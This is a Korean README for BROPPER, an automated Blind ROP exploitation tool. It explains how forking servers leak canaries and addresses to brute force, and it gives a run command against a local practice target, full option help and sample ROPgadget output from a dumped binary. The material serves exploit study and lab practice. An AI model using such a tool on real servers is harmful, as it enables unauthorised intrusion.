
자동 Blind ROP 익스플로잇 도구
자동 Blind ROP 익스플로잇 파이썬 도구
BROP(Blind ROP)는 2014년 스탠포드의 Andrew Bittau가 발견한 기술입니다.
nginx, Apache, MySQL과 같은 대부분의 서버는 포크(fork)한 후 클라이언트와 통신합니다. 이는 ASLR과 PIE가 적용되어 있더라도 카나리(canary)와 주소가 동일하게 유지된다는 것을 의미합니다. 따라서 정보를 누출하고 작동하는 익스플로잇을 제작하기 위해 체계적인 무차별 대입(brute force)을 사용할 수 있습니다.
이 저장소에는 3개의 맞춤형 취약 예제가 제공됩니다. 직접 실행하거나 Dockerfile을 빌드할 수 있습니다.

그러면 BROPPER가 바이너리를 덤프합니다:

그런 다음 ROPgadget을 사용하여 덤프된 바이너리에서 모든 ROP 가젯을 추출할 수 있습니다. 예를 들어:
$ ROPgadget --binary dump
Gadgets information
============================================================
0x0000000000001177 : adc al, 0 ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001157 : adc al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001137 : adc byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x1020
...
...
...
0x0000000000001192 : xor ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x16 ; jmp 0x1020
0x000000000000182e : xor eax, 0x891 ; mov rdi, rax ; call rcx
0x0000000000001861 : xor eax, 0xffffff22 ; mov rdi, rax ; call rcx
Unique gadgets found: 235
이 스크립트를 사용하려면:
python3 -m pip install -r requirements.txt
python3 bropper.py -t 127.0.0.1 -p 1337 --wait "Password :" --expected Bad --expected-stop Welcome -o dump
$ python3 bropper.py -h
usage: bropper.py [-h] -t TARGET -p PORT --expected-stop EXPECTED_STOP --expected EXPECTED --wait WAIT -o OUTPUT [--offset OFFSET] [--canary CANARY] [--no-canary] [--rbp RBP] [--rip RIP] [--stop STOP]
[--brop BROP] [--plt PLT] [--strcmp STRCMP] [--elf ELF]
Description message
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target url
-p PORT, --port PORT target port
--expected-stop EXPECTED_STOP
Expected response for the stop gadget
--expected EXPECTED Expected normal response
--wait WAIT String to wait before sending payload
-o OUTPUT, --output OUTPUT
File to write dumped remote binary
--offset OFFSET set a offset value
--canary CANARY set a canary value
--no-canary Use this argument if there is no stack canary protection
--rbp RBP set rbp address
--rip RIP set rip address
--stop STOP set stop gadget address
--brop BROP set brop gadget address
--plt PLT set plt address
--strcmp STRCMP set strcmp entry value
--elf ELF set elf address
풀 리퀘스트(Pull request)를 환영합니다. 다른 기능을 추가하고 싶다면 언제든지 이슈를 열어주세요.